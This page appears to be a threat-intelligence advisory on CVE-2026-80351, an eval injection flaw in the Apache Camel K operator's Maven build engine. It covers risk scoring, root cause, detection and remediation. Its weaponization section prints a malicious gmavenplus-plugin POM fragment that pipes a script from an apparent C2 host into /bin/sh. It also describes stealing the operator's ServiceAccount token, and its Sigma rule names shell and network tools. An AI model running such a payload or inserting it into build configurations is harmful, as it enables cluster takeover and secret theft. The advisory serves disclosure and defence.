Skip to content
Hermes Codex

CVE-2026-80351: Remote Code Execution via Dynamic Maven Configuration Eval Injection in Apache Camel K

HERMES

HERMES THREAT SCORE & CLOUD-NATIVE OPERATOR RISK

Target: Apache Camel K Operator — Dynamic Maven Build Engine & IntegrationKit Reconciler
Confidence: 96%
92 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 15 / 20
Weaponization 18 / 20
Exposure 17 / 20
Prevalence 17 / 20
Impact 20 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

While CVSS v3.1 rates CVE-2026-80351 at 9.8 (Critical), Hermes evaluates the systemic cloud-native blast radius at 92 (CRITICAL). In Kubernetes multi-tenant architectures and autonomous event-driven pipelines, Apache Camel K serves as the serverless backbone connecting message brokers, databases, and microservices. By exploiting eval injection in dynamic Maven configurations, an untrusted tenant or compromised developer workload escapes container namespace boundaries, executes arbitrary code directly inside the Camel K operator pod, and steals cluster-wide secrets.

HASS

HASS AGENTIC SEVERITY & PIPELINE HIJACKING

Target: Autonomous Agent Workflows, Dynamic Tool-Calling Connectors & Event Streams
Confidence: 97%
93 / 100
CRITICAL

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown
Autonomy 19 / 20
Tool Access 20 / 20
Privilege 15 / 15
Persistence 13 / 15
External Impact 15 / 15
Propagation 14 / 15
⚖️ Divergence & Operational Rationale

Modern enterprise AI agents (built on frameworks like LangChain, AutoGen, and Camel-AI) dynamically instantiate Camel K integration routes to interact with enterprise databases, Kafka clusters, and SaaS APIs. Weaponizing Maven eval injection allows a rogue or prompt-injected agent to compromise the central integration runtime, access underlying host credentials, and pivot across the entire multi-cloud estate.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-80351: Remote Code Execution via Dynamic Maven Configuration Eval Injection in Apache Camel KVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTApache Camel K
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Apache Camel K documented in Hermes dossier.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”

Apache Camel K automates the compilation, packaging, containerization, and deployment of Camel integration routes from source code directly on Kubernetes clusters.

ParameterTechnical SpecificationOperational Significance
CVE IdentifierCVE-2026-80351Apache Camel K Security Advisory (September 2026)
Vulnerability ClassEval Injection (CWE-95 / CWE-94)Dynamic script evaluation in Maven build lifecycle
Vulnerable ComponentCamel K Operator — Maven Build Engine (pkg/util/maven)IntegrationKit reconciler and POM dynamic evaluator
Trigger MechanismInjected Maven properties, plugin configurations, or dynamic expressionsIngested via integration source or custom repository POM
Privileges RequiredNone to Low (PR:N / PR:L)Depends on cluster exposure; public repo or tenant access
Privileges ObtainedKubernetes Cluster Administrator (cluster-admin)Operator ServiceAccount holds elevated cluster permissions
Affected Versions2.0.0 <= v < 2.9.3, 2.10.1 < 2.10.2Multi-tenant Kubernetes & OpenShift environments
Remediated Versions2.9.3, 2.10.2, 2.11.0Enforces strict validation and sandboxed POM generation

2. Vulnerability Anatomy & Root Cause Analysis

Section titled “2. Vulnerability Anatomy & Root Cause Analysis”

The Maven Dynamic Evaluation Pipeline

Section titled “The Maven Dynamic Evaluation Pipeline”

To translate declarative integration routes into runnable containers, the Camel K operator constructs an ephemeral build context. The operator generates a synthetic Maven Project Object Model (pom.xml) containing necessary Camel component dependencies (e.g., camel-quarkus-kafka, camel-quarkus-sql, camel-k-runtime) and invokes Maven in an embedded or pod-based builder.

In versions prior to 2.9.3 and 2.10.2, Camel K allowed integration manifests and upstream repository configuration files to define dynamic Maven properties and plugin executions. During the build resolution phase, Camel K’s internal build engine evaluated configuration properties dynamically using string interpolation and reflection:

// Conceptual snippet illustrating vulnerable dynamic property evaluation in Camel K
func evaluateMavenProperties(project *MavenProject, customProps map[string]string) error {
    for key, val := range customProps {
        // VULNERABLE: Direct evaluation of dynamic directives without sanitization
        evaluatedVal, err := evalEngine.EvaluateExpression(val, project.Context)
        if err != nil {
            return err
        }
        project.Properties[key] = evaluatedVal
    }
    return nil
}

When custom build traits or upstream repository POM files specified expression evaluation plugins (such as gmavenplus-plugin or dynamic POM execution hooks), the evaluation engine failed to restrict the expression context.

Weaponization via Malicious Maven Directives

Section titled “Weaponization via Malicious Maven Directives”

An adversary can craft an integration definition whose repository or build trait includes an embedded Maven plugin configuration that invokes arbitrary Java code during the validate or initialize lifecycle phases:

<plugin>
    <groupId>org.codehaus.gmavenplus</groupId>
    <artifactId>gmavenplus-plugin</artifactId>
    <version>3.0.2</version>
    <executions>
        <execution>
            <phase>validate</phase>
            <goals>
                <goal>execute</goal>
            </goals>
            <configuration>
                <scripts>
                    <script>
                        def cmd = "curl -s https://c2.internal-audit.cloud/k8s.sh | /bin/sh"
                        cmd.execute()
                    </script>
                </scripts>
            </configuration>
        </execution>
    </executions>
</plugin>

Because the Maven build process executes within the operator pod or within builder pods mounting the operator’s high-privilege ServiceAccount token, the injected script runs immediately in the cluster context. The attacker retrieves /var/run/secrets/kubernetes.io/serviceaccount/token and issues administrative API requests to list all cluster secrets, deploy privileged pods, or pivot into other tenant namespaces.

3. Attack Vectors & Execution Flow

Section titled “3. Attack Vectors & Execution Flow”

The attack demonstrates how a tenant or agent workflow with limited permissions leverages the operator’s build reconciliation to seize the entire Kubernetes cluster.

sequenceDiagram
    autonumber
    actor Attacker as Tenant / Agent Runner
    participant K8s as Kubernetes API Server
    participant Op as Camel K Operator Pod
    participant Maven as Maven Build Subsystem
    participant Secret as Cluster Secrets Store
    participant C2 as External Attacker C2


    Attacker->>K8s: Submit Integration CR with poisoned Maven directives
    K8s->>Op: Watch event triggers IntegrationKit reconciliation
    Op->>Maven: Assemble synthetic pom.xml & resolve build dependencies
    Note over Maven: Dynamic expression evaluation triggers
    Maven->>Maven: Execute malicious Groovy/Java directive during POM parse
    Maven->>Op: Escape build context & execute arbitrary shell commands
    Op->>Secret: Extract operator ServiceAccount token (/var/run/secrets/...)
    Op->>K8s: API request using operator token (Cluster-wide permissions)
    Op->>C2: Exfiltrate database credentials & cluster tokens
    Note over Op: Attacker achieves total Kubernetes cluster takeover

4. Forensic Triage & Detection Engineering

Section titled “4. Forensic Triage & Detection Engineering”

Detecting exploitation of CVE-2026-80351 requires monitoring execution activity within Camel K operator and builder containers, as well as auditing API calls originating from the operator’s ServiceAccount.

title: Suspicious Process Spawning Inside Camel K Operator Pod
id: 9a8b7c6d-5e4f-4a3b-2c1d-camelk-eval-rce
status: experimental
description: Detects unexpected interactive shells or network utilities spawned inside Apache Camel K operator or build containers, indicating CVE-2026-80351 exploitation.
references:
  - https://lists.apache.org/thread/8kmxvwj9r83mhp6t465q3jdf8l84zfvq
author: Hermes Codex Cyber Intelligence
date: 2026-09-15
tags:
  - attack.execution
  - attack.t1059
  - attack.privilege_escalation
  - attack.t1611
logsource:
  category: process_creation
  product: linux
detection:
  selection_container:
    container_image|contains:
      - 'camel-k-operator'
      - 'camel-k-builder'
  selection_shell:
    Image|endswith:
      - '/bin/sh'
      - '/bin/bash'
      - '/usr/bin/curl'
      - '/usr/bin/wget'
      - '/usr/bin/nc'
      - '/usr/bin/kubectl'
  condition: selection_container and selection_shell
falsepositives:
  - Legitimate custom container build hooks explicitly authorized in air-gapped CI/CD pipelines.
level: critical

5. Mitigation & Defense-in-Depth Remediation Steps

Section titled “5. Mitigation & Defense-in-Depth Remediation Steps”

  1. Upgrade Camel K Operator Immediately: Upgrade Camel K deployments to non-vulnerable release trains:

    • Version 2.9.3 or later (for 2.9.x users).
    • Version 2.10.2 or later (for 2.10.x users).
    • Version 2.11.0 or later.

  2. Restrict Integration Build Traits via Kyverno / OPA Gatekeeper: Enforce admission controller policies rejecting Integration and IntegrationKit CRDs that declare custom Maven repositories or define unauthorized build trait properties:

    apiVersion: kyverno.io/v1
    kind: ClusterPolicy
    metadata:
      name: block-untrusted-camel-k-traits
    spec:
      validationFailureAction: Enforce
      rules:
      - name: check-maven-traits
        match:
          resources:
            kinds: ["camel.apache.org/v1/Integration"]
        validate:
          pattern:
            =(spec):
              =(traits):
                X(builder):
                  =(properties): "*eval*"

  3. Scope Camel K ServiceAccount RBAC: Migrate from cluster-wide operator installations (kamel install --global) to namespace-scoped installations (kamel install -n <namespace>). Ensure the operator’s ServiceAccount cannot read secrets or manage roles outside its designated namespace.

  4. Network Policies for Builder Pods: Apply strict Kubernetes NetworkPolicy objects preventing builder pods from making outbound internet requests to untrusted Maven registries or arbitrary external IP addresses.

6. Related Intelligence & Attack Paths

Section titled “6. Related Intelligence & Attack Paths”
Apache Camel K Master Trait YAML Injection (CVE-2026-80352) Explore the companion operator privilege escalation vulnerability affecting Camel K manifest generation.
Apache FreeMarker Template Traversal RCE (CVE-2026-84939) Analyze template engine breakout mechanics and server-side code execution.
ESPnet Model Checkpoint Deserialization RCE (CVE-2026-90777) Examine unsafe deserialization vulnerabilities compromising AI speech pipelines and agent tools.
Apache Camel K Component Intelligence Review 30-day telemetry, version matrices, and safe upgrade trajectories for Camel K.